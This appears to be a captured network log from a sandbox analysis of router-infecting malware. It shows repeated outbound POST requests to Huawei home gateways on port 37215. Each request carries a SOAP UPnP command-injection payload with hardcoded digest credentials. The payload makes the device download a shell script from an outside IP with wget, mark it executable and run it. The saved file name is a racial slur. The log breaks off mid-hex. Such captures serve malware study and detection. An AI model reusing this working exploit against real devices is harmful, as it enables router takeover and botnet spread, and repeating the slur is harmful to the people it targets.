65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.15	41286	156.254.93.52	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:05.925669909 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:07.488306999 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:09.344362020 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:13.024080992 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:20.447995901 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.15	32894	156.254.105.192	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:05.928805113 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:07.520311117 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:09.408308983 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:13.280241966 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 